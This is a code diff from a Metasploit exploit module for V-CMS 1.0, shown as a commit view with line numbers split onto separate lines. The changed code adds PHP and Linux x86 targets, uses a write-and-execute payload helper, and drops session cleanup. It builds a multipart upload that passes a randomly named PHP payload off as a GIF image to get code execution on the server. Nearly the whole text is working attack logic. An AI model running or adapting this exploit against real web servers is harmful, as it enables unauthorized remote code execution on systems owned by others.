@@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
11
11
Rank = ExcellentRanking
12
12
13
13
include Msf ::Exploit ::Remote ::HttpClient
14
+ include Msf ::Exploit ::PhpEXE
14
15
15
16
def initialize ( info = { } )
16
17
super ( update_info ( info ,
@@ -28,8 +29,8 @@ def initialize(info={})
28
29
'License' => MSF_LICENSE ,
29
30
'Author' =>
30
31
[
31
- 'AutoSec Tools' , #Initial discovery
32
- 'sinn3r' #Metasploit
32
+ 'AutoSec Tools' , # Initial discovery
33
+ 'sinn3r' # Metasploit
33
34
] ,
34
35
'References' =>
35
36
[
@@ -42,15 +43,12 @@ def initialize(info={})
42
43
{
43
44
'BadChars' => "\x00 " ,
44
45
} ,
45
- 'DefaultOptions' =>
46
- {
47
- 'EXITFUNC' => "none"
48
- } ,
49
46
'Platform' => 'php' ,
50
47
'Arch' => ARCH_PHP ,
51
48
'Targets' =>
52
49
[
53
- [ 'V-CMS 1.0' , { } ] ,
50
+ [ 'Generic (PHP Payload)' , { 'Arch' => ARCH_PHP , 'Platform' => 'php' } ] ,
51
+ [ 'Linux x86' , { 'Arch' => ARCH_X86 , 'Platform' => 'linux' } ]
54
52
] ,
55
53
'Privileged' => false ,
56
54
'DisclosureDate' => "Nov 27 2011" , #When the ticket was created
@@ -75,34 +73,20 @@ def check
75
73
end
76
74
end
77
75
78
- def on_new_session ( client )
79
- if client . type == "meterpreter"
80
- client . core . use ( "stdapi" ) if not client . ext . aliases . include? ( "stdapi" )
81
- client . fs . file . rm ( @payload_name )
82
- else
83
- client . shell_command_token ( "rm #{ @payload_name } " )
84
- end
85
- end
86
-
87
76
def exploit
88
77
peer = "#{ rhost } :#{ rport } "
89
78
90
79
base = target_uri . path
91
80
base << '/' if base [ -1 , 1 ] != '/'
92
81
93
82
@payload_name = "#{ rand_text_alpha ( 5 ) } .php"
94
- p = %Q|<?php
95
- #{ payload . encoded }
96
- ?>
97
- |
98
-
99
- p = p . gsub ( /^\t \t / , '' )
83
+ p = get_write_exec_payload ( :unlink_self => true )
100
84
101
85
post_data = "------x\r \n "
102
86
post_data << "Content-Disposition: form-data; name=\" Filedata\" ; filename=\" #{ @payload_name } \" \r \n "
103
87
post_data << "Content-Type: image/gif\r \n "
104
88
post_data << "\r \n "
105
- post_data << p
89
+ post_data << p + " \r \n "
106
90
post_data << "------x--\r \n "
107
91
108
92
print_status ( "#{ peer } Uploading payload: #{ @payload_name } " )
@@ -133,4 +117,4 @@ def exploit
133
117
134
118
handler
135
119
end
136
- end
120
+ end
0 commit comments